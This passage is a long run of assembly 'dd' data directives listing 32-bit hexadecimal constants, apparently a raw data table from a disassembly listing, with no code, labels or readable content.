		dd 298E0C25h, 49C742CDh, 0F896CF75h, 865B70BFh,	7ADDC99Fh
		dd 0B2E2B5Bh, 0FBA45862h, 950C5224h, 9D7EB40Ch,	0A731C85Eh
		dd 2F426A1h, 39468F8h, 2E63E3DCh, 0C08EEB46h, 9A4EE55Ah
		dd 339B9896h, 0B12ECD3Fh, 0FCD911EDh, 54C5A268h, 40327C5h
		dd 3B6FE3D7h, 74F423F0h, 0F9C89A6Fh, 6DC29FE0h,	6689FFB4h
		dd 6DAD5EE6h, 78AC295Fh, 0BD00E3BCh, 5E273FF6h,	5F829319h
		dd 771701AFh, 53016139h, 29948A57h, 20AB52A4h, 0F59CD606h
		dd 0CF2CCBC9h, 51EAE8DAh, 355F5835h, 9ACC0451h,	0EF3C3947h
		dd 0AD0BF061h, 0A70FDB58h, 56AE179Fh, 4E1A67F7h, 5C49EE9Ch
		dd 9AB7DA70h, 323D71Eh,	12FEE099h, 0AB19D82Eh, 0E4C45CE8h
		dd 23A4CD71h, 0CB5D565Dh, 5F0BE3ABh, 6EC51C0Ch,	0E9CA8CB1h
		dd 67CE9CEFh, 7ABD9003h, 40EC5AD1h, 72C217BFh, 0D4768B6Fh
		dd 394D1F84h, 7EAB7138h, 2455DFE6h, 65680675h, 6DC5B866h
		dd 1AB36BCDh, 0A7CA425Fh, 0B7AA23CCh, 7CB0E1B9h, 13A6365Eh
		dd 0B00B5F6Fh, 0BA731C6Dh, 0A0F7FB62h, 8341DA49h, 474B1585h
		dd 59B047B1h, 5522E2D9h, 389FB47h, 0A209FD5Ch, 239B98D1h
		dd 0DE57ED1Bh, 0B0E31DE0h, 0DBC5AF79h, 4B006E77h, 570CE761h
		dd 448C1642h, 0DAF2BD47h, 6AD9C9BEh, 2CCDE443h,	7A8D32B8h
		dd 589C2CC1h, 0E338EF87h, 7216C0A5h, 34A23822h,	4371BA1h
		dd 3A552954h, 67CD9F25h, 1D8CA783h, 0D5C66C3Ch,	9AF4F8FCh
		dd 1E5FCE9Fh, 36D20B3Fh
		dd 0B7871E3Dh, 0F8491C6Ah, 0ADE0F370h, 85859002h, 530F14D6h
		dd 242826ABh, 7366B08Ah, 49E1827Eh, 2F10B646h, 0D3BBE6C5h
		dd 0E430D273h, 84E8188Ah, 9CD2AA20h, 0DC096126h, 560AE538h
		dd 3AD713F9h, 0E5D28153h, 23CF8346h, 2ACD8A4Ah,	72AD5314h
		dd 72FB0D76h, 0E923F46Fh, 7E19EEB8h, 3AB6AD6Bh,	2D4EACA7h
		dd 0D2ADD29h, 2981EC0Fh, 1CC7E2CFh, 81CCA625h, 0F68739FFh
		dd 6715D997h, 0F025847h, 0B7CC5070h, 0FCC11665h, 0F1D1EE24h
		dd 0FAAE820Ch, 649D4DE8h, 0F98075E2h, 4807DAADh, 53C1CD69h
		dd 245ADA11h, 3EE8B7B3h, 7109BB6Dh, 7BE11222h, 54C1A3ACh
		dd 18425BB5h, 1648A948h, 3D874CC5h, 0E8A0D832h,	6FCA695Bh
		dd 6C89AB7Ch, 48EB3A75h, 1CC3D27Ah, 0A20D27D5h,	3450DBA5h
		dd 3FE3B466h, 43380FCh,	6E7BE463h, 6DF2F369h, 49AAEC84h
		dd 0A81EA70Eh, 0C809B4BAh, 1A148FDAh, 0D025835h, 0F4D25B77h
		dd 0BE950121h, 3BA4B42Ah, 20EBDC5Ah, 0BBB833BFh, 370763FCh
		dd 5D2DEF8Bh, 31C9E44Dh, 7145B67Dh, 76D2928Dh, 601FDE03h
		dd 44C20850h, 598CA9E8h, 8242212Fh, 4808881Eh, 20D50199h
		dd 0E8C1B95Fh, 23A46449h, 55D7F963h, 6DC33326h,	24F5A89Ch
		dd 0F324FE1Ch, 2B42E8B3h, 69AFFB17h, 7C40AFFCh,	368362h
		dd 67EAFB5Ah, 36F290DEh, 865F2C22h, 0A8C96AC5h,	613BAAA5h
		dd 6E493656h, 0AECF6158h, 0FBEB0177h, 7481F760h, 1D8AF02Dh
		dd 0D85017FCh, 899674B2h, 8330EF8Fh, 73C4AB18h,	6C40BB65h
		dd 2AEFE0ECh, 5748E05Fh, 1A8D7678h, 0E08993ECh,	0D475119h
		dd 4945EFE4h, 2BD71E9Ah, 0AF80A044h, 2E847B01h,	386CD53h
		dd 4AE83851h, 11D176F6h, 0C977A381h, 495F5097h,	7CE0DE06h
		dd 7607E1F8h, 656DEA62h, 2ADBC876h, 47922BC8h, 87CC087Bh
		dd 9894EDFFh, 698AC199h, 1C36784Bh, 8BE41353h, 0F3AA5254h
		dd 76BCBA60h, 2B4ECB5Ch, 8D7E67A5h, 995D28FBh, 13308AF0h
		dd 7288EC57h, 512EB62Ch, 65CBBFCBh, 590B9B57h, 11FF5C71h
		dd 83C1B33Ch, 0CE4421E0h, 154BA57Bh, 21D068FBh,	0FEC5AE5Eh
		dd 39D4677Ch, 7AC8F163h, 678D51ECh, 288A6B12h, 0F5775422h
		dd 7C07F2B3h, 391FF438h, 2901F0AAh, 6269E327h, 2990C569h
		dd 49B632A4h, 0A99FE70Eh, 0B6691990h, 540A87AEh, 3B0C786Fh
		dd 0B7D54B76h, 0A5E75270h, 3BD3BA6Dh, 2801D542h, 2DFE22A3h
		dd 199A70FAh, 0B40DAA9Ah, 53B1A56Eh, 7112B619h,	53FEE7EAh
		dd 7B4E9B7Bh, 0BAA3526Ch, 55D7C666h, 80872A7h, 4F15E5FAh
		dd 1AE327D3h, 0DCED8802h, 72C17874h, 7D9EF726h,	40AB88B1h
		dd 7289713Dh, 0E93236EFh, 7E1D6BB2h, 4E7FCC6Bh,	546ECDA2h
		dd 7285D927h, 7D9F3970h, 0B921CDh, 0FEA2AC7Bh, 9103FD9Ah
		dd 6CB7DF9Bh, 2B1D3F1Fh, 0B32D4962h, 9987523Eh,	3E4C777h
		dd 563BEB64h, 1B96781h,	401C65E0h, 543AF898h, 6590ED49h
		dd 814E52Ah, 2F2B7B4h, 6006D437h, 0D7B17FFFh, 2D0A863h
		dd 0B9326E7Ch, 765B45Ch, 3CC719DAh, 0E9C3B755h,	70980672h
		dd 609BF7C6h, 29B0DE92h, 42C90EA6h, 0E23CE61Ch,	3400E0BBh
		dd 6A53F43Eh, 635FFEA2h, 7181D03Dh, 6C872573h, 202D75D7h
		dd 9BEC121Ch, 93C377F4h, 7637C38Eh, 11726905h, 98266E52h
		dd 0CBBD1624h, 6D68F567h, 7A6BC75Fh, 6A6836B4h,	0D5D372E0h
		dd 0D379E3D9h, 3285E956h, 249A565h, 3091BCBDh, 1F0ED473h
		dd 0BAE21691h, 9598E616h, 6B6D3C21h, 5535D8D6h,	27C64BA7h
		dd 0FACFBF54h, 23DD7021h, 7C9CE8C1h, 9FAF8B4h, 42CEB9B0h
		dd 0E335A0CFh, 304E28F6h, 1012A865h, 547ADC8Fh,	67C8EB69h
		dd 66BF0F6Ch, 170EA79Bh, 852A7075h, 849AFCEFh, 72FC89DAh
		dd 38127805h, 0FF6C1E63h, 9AC25C2Dh, 1F629A0Eh,	71DFDF4Eh
		dd 665D29BEh, 0E51D56C6h, 12AEEDCh, 7197E756h, 5240EF21h
		dd 2DEEE40Ah, 4D4DCF54h, 0D4B716F0h, 0D0C0A7AEh, 0C54E32BAh
		dd 3B6FA330h, 2BCA079Ah, 0A1D3A3B6h, 73CA4E09h,	6E9F1AAEh
		dd 5BEBE80Bh, 1DC4D525h, 0C9155555h, 763FDF9Fh,	795EF625h
		dd 6A46C0FBh, 4AEC823Dh, 59BA3C50h, 1D2586CDh, 9119AD36h
		dd 820960E8h, 7E2BDB9Fh, 79562C4Ch, 0E1605722h,	0D8875229h
		dd 1155F961h, 0C6A5D943h, 0BD9D4DFEh, 1C9665F9h, 962DE389h
		dd 46B4C116h, 4040C63Fh, 2FF8E602h, 0E71FDE59h,	65E80DE4h
		dd 44D7A3E6h, 24221F1h,	314BA2B3h, 3AC716EBh, 0E7C3AFACh
		dd 23D04A1Bh, 67BD28DAh, 40EACB41h, 0EC8BF60h, 0A72D318Ah
		dd 6C0C6BA4h, 3A4EE92Eh, 2A4288ACh, 3FA6529h, 4C9F3148h
		dd 261FD0ACh, 0BC2FA875h, 0DF38CDCEh, 17EE84CBh, 281B1035h
		dd 807C0473h, 9ED24B37h, 5200AF31h, 0CAC58B18h,	0DEE777E5h
		dd 394336A5h, 4A17D9F5h, 8691FD17h, 5712AC26h, 3DFFE106h
		dd 0EB0ED25Dh, 55C075C1h, 5284FCEDh, 9B037182h,	480CE8E6h
		dd 2BD4090Eh, 86ADE3A1h, 239E6021h, 4E774D0h, 4CFDF37Bh
		dd 16CE89BDh, 0D21C8308h, 392D2386h, 794A752Fh,	764FD7E0h
		dd 6680637Eh, 7AA57974h, 4B078299h, 0DA306C3Ch,	93F01990h
		dd 34F8C493h, 54C07611h, 0C7315674h, 98F47825h,	5E70A337h
		dd 0F2E58B18h, 0CC3372E5h, 5CF336A9h, 1F13DEABh, 2785EC76h
		dd 4E40E636h, 35EEE402h, 0E54DCF44h, 71B70C91h,	909E9BDAh
		dd 0E036C73h, 5240AC21h, 448C48C1h, 0D8F48ED7h,	67E51634h
		dd 798C2897h, 58EB8971h, 0CD498E6h, 0F470DBCFh,	4414A9ECh
		dd 7F4BBE71h, 727CC0ECh, 23CE3F62h, 27EA5520h, 262B48C3h
		dd 0D47E5601h, 0BCCFFDDBh, 687DDA9Bh, 313D295Ah, 906E4A74h
		dd 927F575Fh, 4613F321h, 0CB219003h, 0DA0E0880h, 0D30023BCh
		dd 0AE17DEB6h, 0DDCFB91Fh, 7F289C59h, 48A1C136h, 8B57C816h
		dd 378772D5h, 0B5F088ECh, 0A74A577Eh, 6F22C21Fh, 6B825D29h
		dd 0CFAACAA2h, 46F07AD3h, 5DC0358Dh, 13CB9CE8h,	0CD7973h
		dd 0EA2DCF1Bh, 7A5DF0BAh, 694A7123h, 2629CDEAh,	2E902772h
		dd 3350E3Dh, 3E722DBEh,	0BD6A8114h, 0D1F157D5h,	7460DFD8h
		dd 3DAD2B05h, 0C2315362h, 0C8740729h, 2611B774h, 0B678844Ah
		dd 0FDF431A2h, 92A43CF9h, 0FE13C3B0h, 0B8FE65Fh, 5B09E236h
		dd 43AAAF0Dh, 8E09DF7Eh, 0D9F90DCBh, 59D4B133h,	66456401h
		dd 3B6F8293h, 1F24AAEh,	0A980909Ch, 57EC12E7h, 38C23D87h
		dd 2383E5BFh, 2CFB525Bh, 0F470E1D5h, 14172FECh,	5477D141h
		dd 5059F8DBh, 4DBD272Ah, 33748842h, 635227CDh, 0B981C15Fh
		dd 0A5A4DCCEh, 4D8AFED7h, 216C627Ah, 99184662h,	9F701F7Ch
		dd 3106F924h, 0AF0ECD5Fh, 0DAA865EDh, 904B2BFAh, 331080F3h
		dd 0A3A0D870h, 862FDF0Eh, 0DB9B55Ah, 0BD57D54Fh, 0D9E817C3h
		dd 589B23Bh, 0C6176D0Fh, 102FDD7h, 38D002D6h, 0B6C5A62Ah
		dd 4AEA72DBh, 67822C73h, 5DEDB59Fh, 42C645BAh, 0E314125Eh
		dd 6B1139B2h, 6A59993Fh, 637858FFh, 0EF36E25h, 7A02CC0Fh
		dd 186967D7h, 87BE2E30h, 89F014FFh, 6EDEC697h, 773F2B05h
		dd 0C79C4A6Fh, 0D63B5D3Eh, 33FBF267h, 0DF65CD4Ch, 0DA6E2BBDh
		dd 0CDDD76FDh, 286CED8Ch, 8D91E95Eh, 2916F83Fh,	15EBFA0Dh
		dd 0F4609914h, 0BAE845DFh, 0D9C0AE21h, 1F3464E0h, 600E39Eh
		dd 3AD60845h, 0A38FFFB7h, 66CC53F7h, 279E085Eh,	5AE2B1A9h
		dd 56D853FCh, 0A8326C80h, 691F27A5h, 79597364h,	6A7FD1E0h
		dd 3DD85460h, 7A0CF608h, 0A6C80D7h, 0FDD43C2Ch,	0B037ECA6h
		dd 72C1CE9Eh, 378D2C4Dh
		dd 0D90D4E77h, 0DA267F63h, 2FE0F669h, 8196CB17h, 873335A5h
		dd 0F41B65EFh, 1730EB93h, 148FF844h, 0A712F976h, 0FAFEE644h
		dd 8B0ED24Eh, 0BACC2894h, 9FE7910Fh, 88026DE8h,	550AE682h
		dd 70805103h, 0C29CCFB6h, 66F64659h, 6C99076Eh,	5DFDB179h
		dd 36870A6Dh, 0E207610Ah, 7C0AC8BBh, 6E442703h,	381B04B1h
		dd 468C9649h, 7B54987Dh, 3E6D8383h, 0C991B03Ah,	0DE2970BFh
		dd 58F1CFB4h, 24C32C47h, 0E74C5F69h, 9DD0006Bh,	13829009h
		dd 0DFDBC948h, 22F233BFh, 0DDCD6AF2h, 67FDAA3h,	1696ED83h
		dd 0EB14F911h, 3EF7FA2Dh, 5051B1D4h, 7AC4080Ch,	5ED6A4B1h
		dd 43760E4h, 1E5BE587h,	8D6052h, 0E2E9BADAh, 6DD64440h
		dd 66BD2472h, 24B06A63h, 1DE68A19h, 0E63C5298h,	7D1DCAB4h
		dd 350F7B75h, 416E68C1h, 6FA9EA69h, 42FF860h, 0B8FBEE7h
		dd 850AD222h, 8275D4EEh, 78E9C38Ah, 31D73D7Bh, 0CB4C5775h
		dd 6DD21D6Dh, 0D9C0F352h, 4D98C95Dh, 0B4BE2280h, 0F1076FECh
		dd 4D0DA5DEh, 2A8ED8BEh, 0E801DB1Fh, 7FF5FC2Eh,	6D1EDEBDh
		dd 40FD165Bh, 4ECAAF2Ch, 0A55B0788h, 5E29E491h,	0AC72B5Ch
		dd 0F8C147C6h, 3DCA3E45h, 47C21453h, 4CC22914h,	3CCC44B2h
		dd 0F332651Ah, 2714CABFh, 35134646h, 60403BFAh,	71B4D363h
		dd 7910C171h, 9EFCB9Dh,	0CAEE4F6Bh, 0B12E6AB5h,	0DFFDCE95h
		dd 61865233h, 0C97D047Ah, 2CD8176Eh, 9DE0FF0Dh,	2DFB8E30h
		dd 14554639h, 0ECD3560Bh, 7820F90Dh, 2393EAB3h,	0ED05EA53h
		dd 64E8EC5Bh, 4D48E8B9h, 9E44BD3h, 0D5D6C0FFh, 1D0EABE7h
		dd 1B5F7196h, 60933D1Ah, 0CBA63799h, 26801561h,	5DAD2800h
		dd 1890CE05h, 728486BDh, 0D3C35BA7h, 6AE184ECh,	14426B71h
		dd 454A4485h, 2AFFCB42h, 461FFD49h, 5A0703B8h, 7801226Fh
		dd 361A9396h, 37D1E2FDh, 23DC786Dh, 0D95B5D78h,	53B50079h
		dd 88BFFF07h, 0D65FCD77h, 0B3781D32h, 0DA1A2322h, 1C6DA5C8h
		dd 2895E6C1h, 0BF4FA00Bh, 539BA33Eh, 172CCE8Fh,	4CBFAEEBh
		dd 0C09CC068h, 0AD53A2B5h, 349A1C5h, 63FA6501h,	0CD9511EEh
		dd 46E5371Fh, 3CCCD907h, 70FCDFCCh, 35AF6300h, 0F5A45733h
		dd 6C28C6A4h, 6C492F08h, 5B9D76FDh, 68E7E762h, 73C7DE60h
		dd 5373078Eh, 4385AA06h, 1E567DFEh, 9609CF9Eh, 34DF0860h
		dd 0E355536Ch, 3FB70075h, 0B88CF32Bh, 0C067DE95h, 29F12922h
		dd 0D4AF7CBAh, 712DEA1Ch, 0E85FFBCh, 0FD06F3F1h, 61C7E462h
		dd 3105E82Ch, 0F1F6E71Bh, 40D4E2A0h, 0A0721EFh,	550B7085h
		dd 27F31040h, 0DBAA59DCh, 6CBC0F3Dh, 47D2BB24h,	47286BF4h
		dd 2BEADC61h, 8A6B768Ah, 38B9D6BFh, 69512718h, 0A9C7EE6h
		dd 7AB1813Dh, 7EF03D6Bh, 3FFA6688h, 350AE31Dh, 0D577F1E8h
		dd 55B9099h, 349C3C52h,	0F5BF4C6Ah, 3BFC1C7Bh, 37C7F340h
		dd 20AF7F3h, 0A1B535C9h, 0A64960F1h, 3427ED88h,	3B82EDA9h
		dd 8040FAEEh, 32B2EC3Bh, 200CDC79h, 0D5E4CD4Dh,	509E272Fh
		dd 9D076CF1h, 5E5BB2D8h, 3CD13A47h, 0FED815A9h,	71BBE523h
		dd 21BCC8C6h, 4C6F65D8h, 584A40B2h, 9D257C1Ch, 726781ECh
		dd 78706C6Bh, 258834AFh, 58CBA30Dh, 9971E71h, 15A90A9Bh
		dd 13863275h, 0B6627CF0h, 0D9589098h, 8D827D4Ah, 0D4C83468h
		dd 6686067Dh, 3336EC02h, 42229FC1h, 2E7127CBh, 0EF8025DFh
		dd 6722E2CBh, 7284F120h, 8509BABBh, 5BCB87E4h, 1008C36Dh
		dd 0BDA9818Dh, 958448EDh, 1206CAEBh, 3108B88Bh,	6ECAE137h
		dd 0A9896ECEh, 54D68B37h, 6695E5DAh, 1A50F4B2h,	111BCCBDh
		dd 91C87B81h, 6165CCB7h, 17B5222Eh, 6380428Fh, 5E08D454h
		dd 57FC4D25h, 0BD2EABCDh, 0C066B20h, 0BC7CE3F4h, 0CA79A0DEh
		dd 3AFD082Ah, 0A9C47320h, 1C854078h, 133CABB8h,	0DE9B9A6Ch
		dd 0AE7865E5h, 0BF1A265Eh, 6166E94Bh, 5492BED1h, 5F60B09Bh
		dd 485BA601h, 246C2C39h, 0B9C51CBh, 0F058E2BBh,	0A05ACB82h
		dd 0C46F1F9Ah, 4E4EBFD6h, 0C2DE0A5Bh, 0FCE0B119h, 8FD947Ch
		dd 0B5F8DF31h, 881C3435h, 4262ED90h, 0CCDEAFBFh, 15075822h
		dd 0C1D129CFh, 57844CF8h, 0DC326C05h, 0F010E29Eh, 0F1F7C220h
		dd 0AB0919EDh, 0FF6EAA80h, 0D4A6585Ah, 16D03E11h, 41F47238h
		dd 382E9BECh, 0CE9BBF34h, 0D88D45F7h, 0E7E30306h, 63538043h
		dd 24F19BDEh, 4470B150h, 0D2B458BDh, 277C2EAAh,	969C551Bh
		dd 0B2B715B8h, 0E94AA4F2h, 596F418Eh, 9DA0FC58h, 0EECFF22Ch
		dd 61E1A107h, 6A104BE0h, 5AF41F62h, 0E504B460h,	0FD9A139Ch
		dd 6DB8AEA2h, 87435A38h, 0AD492DFCh, 0C45B4B74h, 2E021C76h
		dd 0D2D0829Fh, 19778220h, 0B80899EDh, 0DD6FAA80h, 60A4585Ah
		dd 6ECC3E11h, 41EC7239h, 283E9BEBh, 0FEFBBF37h,	55CD45F4h
		dd 16630305h, 82538041h, 4AF19BDAh, 2A70B158h, 3AB458ADh
		dd 0EC7C2E8Ah, 569C555Bh, 12B71438h, 894AA5F2h,	596F438Fh
		dd 2CA0F85Eh, 0EECFFA20h, 61E1D11Fh, 6A102B90h,	4AF45F02h
		dd 150535A0h, 989B131Ch, 7DBAADA5h, 775F5C38h, 5D5121FCh
		dd 244B4374h, 0DE620C76h, 2290A29Fh, 0E8F64220h, 490819EDh
		dd 336CAA80h, 8C9A585Ah, 86C83E11h, 0A1E47239h,	0F84E9BEBh
		dd 4EDBBF37h, 240D45F4h, 16E30304h, 7D538047h, 58F19BD6h
		dd 2E70B140h, 0AAB458DDh, 0DC7C2EEAh, 369C549Bh, 5DB714B8h
		dd 94AA6F3h, 826F4588h,	88A0F45Ch, 4ACFE224h, 0BAE1C117h
		dd 6A100B80h, 0BAF59F22h, 0DB05B5E0h, 9898109Ch, 7DA4ACA5h
		dd 775B5E38h, 5D5925FCh, 853B5B74h, 6F423C76h, 925F429Fh
		dd 59760220h, 0C70B99EDh, 806DAA80h, 3998585Ah,	3FC43E11h
		dd 201C7239h, 295E9BEBh, 3C3BBF37h, 154D45F5h, 50630303h
		dd 0CD538045h, 0FFF19BD2h, 0D270B148h, 0AB458CDh, 0CC7C2ECAh
		dd 69C54DBh, 92B71738h,	894AA7F3h, 596F4789h, 2CA0F052h
		dd 0EECFEA38h, 61E1F1EFh, 6A11EBB0h, 4AF5D8C2h,	0E8063520h
		dd 0DA99101Ch, 2F9586FDh, 1447504Bh, 3D31398Fh,	523B5307h
		dd 0B5B22C05h, 510F62ECh, 85E6C253h, 7D1B199Eh,	2F06C699h
		dd 0A58E5865h, 9A99702Dh, 0AC47726Eh, 8E2BD4D6h, 0AF0BBF60h
		dd 0B99D4586h, 830CFC8Eh, 1D438038h, 2EE19BBDh,	0B460B143h
		dd 60A4588Eh, 0DE6C2F59h, 948C5468h, 30A717CAh,	6B5AA09Fh
		dd 3B7F49F9h, 4EB0EC23h, 8CDFD24Fh, 3F1E194h, 801CBD3h
		dd 28E51891h, 7716B513h, 0FAF611EFh, 1FB0AAD6h,	0EA43524Bh
		dd 3FC6C270h, 1B0B6B07h, 0BD82DC8Ch, 41CF02ECh,	85668253h
		dd 618999Eh, 4773BAF3h,	0F28C4829h, 0CCEC2E62h,	0A31C624Ah
		dd 0A6EAB99h, 5F6B8F45h, 0D6DD5581h, 92731372h,	0C43903Ah
		dd 30E18BB9h, 5860A14Bh, 68A4489Fh, 0DE6C3F07h,	0A48C4414h
		dd 60A70672h, 6B5AE1AFh, 0BB7FCB18h, 0CEB068E5h, 0CDF5AC3h
		dd 83F28E8Ch, 88011523h, 0A8E624F1h, 0F717C2D3h, 0F9F7026Fh
		dd 1CB28AD6h, 17BF974Bh, 3C21B28Fh, 551C6007h, 3DF44C05h
		dd 0C18BA2ECh, 4E9C253h, 1D2A999Eh, 5350A0F3h, 0D4425229h
		dd 0CC683462h, 88147A4Ah, 109E9398h, 234BB745h,	451D4D81h
		dd 7AF30B73h, 0F343883Dh, 0EAE193BAh, 0C460B948h, 78A4509Ch
		dd 7E6C2705h, 548CD410h, 30A7967Ah, 6D5A21BEh, 3D7F4D47h
		dd 48B0EEA7h, 88DFDD47h, 7F20B84h, 0C019333h, 2CE6A4D1h
		dd 73174E93h, 0FEF76AEFh, 1BB2ECD6h, 10BFD24Bh,	3B20318Fh
		dd 521D7F07h, 3DF6F805h, 0C19742ECh, 94F18253h,	173D999Eh
		dd 5931AAF3h, 0DE005829h
		dd 0C5E43E62h, 812C724Ah, 68E9B98h, 37ABBF45h, 555D4581h
		dd 61730373h, 0DA43803Dh, 0A4E19BBAh, 4060B148h, 88A4589Dh
		dd 0EE6C2F02h, 0F48C5412h, 0F0A7167Eh, 0EB5AA1B6h, 3B7F4B56h
		dd 4EB0E979h, 8CDFDB3Bh, 3F20C3Ch, 8019603h, 28E6A231h
		dd 77174E53h, 0FAF7666Fh, 1FB2C7D6h, 14BE084Bh,	3F20898Fh
		dd 561EF307h, 0BDF7EC05h, 4195E2ECh, 84FDC253h,	1745199Eh
		dd 5926AAF3h, 0DFE65829h, 0C5A03E62h, 0BEA4724Ah, 7BE9B98h
		dd 318BBF45h, 599D4581h, 59F30373h, 0C943803Dh,	86E19BBAh
		dd 460B148h, 0A4589Dh, 1E6C2F03h, 148C541Dh, 30A7167Dh
		dd 6B5AA1B5h, 3B7F4B55h, 4EB0E97Bh, 8CDFDB3Fh, 3F20C34h
		dd 8019613h, 28E6A211h,	77174E13h, 0FAF767EFh, 1FB2C6D6h
		dd 14BE0A4Bh, 3F208D8Fh, 561E8B07h, 0BDF79C05h,	419582ECh
		dd 84FD8253h, 0C044999Eh, 5E37AA63h, 0D8F458BDh, 0C2AC3EF6h
		dd 69AC72DEh, 0D0BE9B08h, 0E6FBBFD5h, 8ECD4511h, 5F6303E3h
		dd 945380A9h, 53F19B37h, 0CF70B1C5h, 0CFB4580Dh, 0D97C2F93h
		dd 339C548Dh, 0BBB716E9h, 0EC4AA138h, 3C6F4BC0h, 49A0E9E9h
		dd 8BCFDBA7h, 9AE20CB8h, 6B1196F2h, 0F9F6A2FEh,	70074F41h
		dd 0FDE767FBh, 30A2C542h, 13AE0CD8h, 5C30811Bh,	510E8388h
		dd 0BAE78C91h, 2285A278h, 0ACEC42DCh, 7B286CF0h, 7924AADAh
		dd 0FFDA7809h, 0E5981E42h, 9E94526Ah, 27FEBBB8h, 11EB9F65h
		dd 783D65A1h, 78D32353h, 0B763A01Dh, 0AAD1AB8Ah, 2C508178h
		dd 209468ADh, 0E5C1F33h, 64BC642Dh, 8097264Dh, 5B6A9184h
		dd 0B4F7B63h, 4EB0E97Fh, 8CDFDB37h, 2F20C24h, 0A019673h
		dd 28E6A251h, 76F74F93h, 0F917660Fh, 1A52C036h,	135E08ABh
		dd 36C08D6Fh, 5DFE91E7h, 0B017B0E5h, 4E744C0Ch,	951C12B3h
		dd 4A78B7Eh, 4CC5BE13h,	0C8184EC9h, 0DC542682h,	0A52C68AAh
		dd 1A2E8778h, 2FCBA1A5h, 79BD6561h, 74932193h, 93A3A4DDh
		dd 0BB01BD5Ah, 398099A8h, 344727Dh, 38C03E3h, 5B6C7AFDh
		dd 0C147269Dh, 0D8BA9354h, 0E9F7FB2h, 7950DF91h, 0B53FE3CBh
		dd 381236BCh, 35E1AAA3h, 17069D51h, 36F70FB3h, 0B917268Fh
		dd 5A528736h, 535E46ABh, 76C0D16Fh, 1DFED9E7h, 0F017E0E5h
		dd 0E742C0Ch, 0D51C92B3h, 44A74B7Eh, 0CFAFE13h,	881E0EC9h
		dd 9C506682h, 0E52428AAh, 5A1EC778h, 6FEBE1A5h,	397D2561h
		dd 34136193h, 0D0A3E4DDh, 0F901FD5Ah, 7D80D9A8h, 4B44327Dh
		dd 338C43E3h, 0FB6C3AFDh, 4147669Ch, 18BAD353h,	4E9F3FB1h
		dd 39509F93h, 0F53FA3CFh, 781276B4h, 75E1EAB3h,	5706DD71h
		dd 0F6F7CFF3h, 7917E70Fh, 9A524636h, 935E84ABh,	0B6C0156Fh
		dd 0DDFE21E7h, 3008D0E5h, 0CE748C0Ch, 151C12B3h, 84A60B7Eh
		dd 0CCFB3E13h, 481CCEC9h, 5CACA682h, 253CE8AAh,	9A0E0778h
		dd 0AF8B21A5h, 0F93DE561h, 0F593A193h, 11A324DDh, 37013D5Ah
		dd 818019A8h, 9344F27Dh, 0E38C83E3h, 1B6CFAFDh,	0C147A69Ch
		dd 58BA1353h, 8E9FFFB0h, 0F9505F95h, 353F63C3h,	0B812B6ACh
		dd 0B5E12D43h, 97061D11h, 0B6F78C33h, 3917A78Fh, 0DA520536h
		dd 0D35EC2ABh, 0F6C0596Fh, 9DFE69E7h, 700880E5h, 8E74EC0Ch
		dd 551F92B3h, 0C4A6CB7Eh, 8CF87E13h, 8128EC9h, 1CA8E682h
		dd 6534A8AAh, 0D9FE4778h, 0EFAB61A5h, 0BEFDA561h, 0B513E193h
		dd 56A364DDh, 75017D5Ah, 0C58059A8h, 0DB44B27Dh, 938CC3E3h
		dd 3B6CBAFDh, 4147E69Ch, 98BA5352h, 0CE9FBFBFh,	0B9501F97h
		dd 753F23C7h, 0F812F6A4h, 0F5E16D53h, 0D7065D31h, 5F174C73h
		dd 8FF70CEFh, 73B2ACD6h, 14BE2F4Bh, 0F20958Fh, 622D8936h
		dd 85DF4A30h, 22F6A3D5h, 84996737h, 247BA8AEh, 6E2F9FC7h
		dd 9DB16111h, 83017A21h, 0BEEC724Ah, 40E9B98h, 30EB9B45h
		dd 5F5D4581h, 55335A73h, 0B243803Dh, 94A15832h,	0A460B148h
		dd 48E5CF4Ah, 175BCF83h, 0E3CF15DEh, 45121312h,	1E1C320Ah
		dd 389674A7h, 7CFDD126h, 0C426EBC6h, 3FA88E0Bh,	0D57EE23Ch
		dd 2893B67Eh, 0F3174C53h, 0FAB6F5B8h, 1FB2CFD6h, 1481E84Bh
		dd 3F20A98Fh, 661EB307h, 89DB5E34h, 79A3D4D9h, 0C7BD836Ah
		dd 170F5CDAh, 6A2C9BC3h, 0E8C06D1Dh, 0A721075Ah, 0D8811629h
		dd 4270D298h, 56E5D645h, 11DC0B81h, 3B926D73h, 0F943803Dh
		dd 0F5F19B14h, 1B70B1E6h, 23B45833h, 0B47C2FADh, 779C54B2h
		dd 6B716CDh, 84AA11Fh, 586F4BF3h, 1FA0E9C5h, 0ACCFDB71h
		dd 77D22159h, 616CE3F6h, 4192C27Fh, 771D2B7Dh, 94900A9Ch
		dd 3C92A2B7h, 66DB6E4Bh, 5E4EC4E2h, 38712273h, 0CC8D6E25h
		dd 35E7E799h, 0F291EB53h, 7321F5FFh, 366BD9D3h,	0BA93395Bh
		dd 0A63F5F42h, 0BE8F012Fh, 615AF5F1h, 409ECD37h, 31B22CF5h
		dd 221D6A73h, 0D42AEC5Ch, 0D99FE9Ah, 5914C42Ah,	78C134F9h
		dd 0EB08406Ch, 5DFE3504h, 15CA7E67h, 0CB39C8A5h, 540D38F9h
		dd 2CD1E99Fh, 8CABAABCh, 3F20A6Ch, 8019DE3h, 28E6AB71h
		dd 47175DD3h, 0FAF7436Fh, 1FB30DF8h, 14BE9C4Bh,	3F23A18Fh
		dd 49E04307h, 0BDEC0C05h, 419CA2ECh, 848E4253h,	1768199Eh
		dd 58DCAAF3h, 0DF4A5829h, 0CA583E62h, 0BCF4724Ah, 5E9B98h
		dd 38CBBF45h, 6E1D4581h, 34F30373h, 7F43803Dh, 0EAE19BBBh
		dd 3C60B14Eh, 50A45899h, 0BE6C2F0Bh, 548C540Ch,	0B0A71603h
		dd 6B5AA1F0h, 3B7F4ADBh, 4EB0EA6Fh, 8CDFD9D7h, 3F20864h
		dd 80199F3h, 28E6B351h,	77176D93h, 0FAF4A0EFh, 1FB34CD6h
		dd 14BD1E4Bh, 3F22A58Fh, 49E25B07h, 0BDE03C05h,	466342ECh
		dd 849E0253h, 108B999Eh, 29DAAF3h, 83930372h, 900F6539h
		dd 0BA0C7211h, 0C4E9B98h, 32BBF45h, 7E5D4581h, 13730373h
		dd 3E43803Dh, 6CE19BBBh, 3060B14Fh, 68A45897h, 0AE6C2F17h
		dd 748C57F4h, 0F0A71633h, 0EB5AA210h, 3B7F4A1Ah, 4EB0EAE1h
		dd 8CDFDECBh, 0BF2069Ch, 180185C3h, 8E684B1h, 37177D53h
		dd 7AF4806Fh, 1FB38BD6h, 14BD904Ah, 3F2DB98Dh, 49E45303h
